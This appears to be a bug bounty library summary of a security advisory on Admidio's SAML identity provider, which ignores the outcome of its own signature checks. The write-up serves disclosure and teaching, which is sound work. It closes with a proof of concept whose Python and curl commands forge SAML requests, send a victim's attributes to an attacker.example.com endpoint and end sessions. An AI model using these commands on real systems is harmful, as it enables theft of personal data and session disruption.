# Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests

Admidio's SAML IdP discards validateSignature() return value, so unsigned AuthnRequests leak user attributes to attacker ACS URLs and forged LogoutRequests kill sessions.

- Payout: Research
- Severity: high
- Program: Admidio
- Found by: offset
- Disclosed: 2026-04-29
- CVE: CVE-2026-41669
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-25cw-98hg-g3cg
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-25cw-98hg-g3cg
- Tags: area:web domain:web impact:data-leak impact:dos impact:pii-leak kind:research platform:ghsa sev:high tech:php tech:saml technique:source-review vuln:auth-bypass vuln:signature-replay

**Target:** SAML Identity Provider endpoints (SSO/SLO) in Admidio
**Root cause:** validateSignature() returns error strings instead of throwing, but both call sites in handleSSORequest() and handleSLORequest() discard the return value, so smc_require_auth_signed is never enforced.
**Steps:**
1. Craft unsigned AuthnRequest with attacker AssertionConsumerServiceURL and legitimate Issuer, deflate+base64 encode
2. GET `https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}` with victim PHPSESSID
3. Admidio builds signed SAML assertion with victim attributes and posts to attacker ACS URL
4. For SLO, craft unsigned LogoutRequest with victim NameID and GET `/saml/slo?SAMLRequest=${LOGOUT_REQUEST}` to terminate session
**How found:** Code review of SAMLService.php: noticed comments claiming validateSignature() 'will throw an exception' while the method body returns error strings, then confirmed both call sites discard the return value.
**Exploitation:** Attacker lures a logged-in victim's browser to the SSO endpoint via GET redirect binding (bypassing SameSite=Lax), supplying a forged AuthnRequest whose Issuer matches a registered SP and whose ACS URL points to attacker infrastructure; Admidio skips signature check and emits a signed assertion containing login, email, name and roles to the attacker. Same flaw allows forged LogoutRequests to terminate sessions and cascade SLO to all SPs.
**Escalation:** Chains with ACS URL injection: signature enforcement was the only defense against unvalidated ACS URLs, so bypass enables full attribute exfiltration; SLO forgery enables targeted DoS.
**Insight:** When a validation helper returns bool|string instead of throwing, grep every call site for discarded return values; comments asserting 'will throw' are a strong signal the contract was misunderstood.

## Proof of concept (copied exactly from the original report)

**Unsigned AuthnRequest generation and curl exploit**

```
AUTHN_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")

# 2. Send the unsigned request via HTTP-Redirect binding (GET):
# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),
# Admidio generates a signed SAML assertion with the user's PII and sends it
# to the attacker-controlled ACS URL.
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'
```

**Forged LogoutRequest generation and curl exploit**

```
LOGOUT_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>victim@example.com</saml:NameID></samlp:LogoutRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")

curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'
```

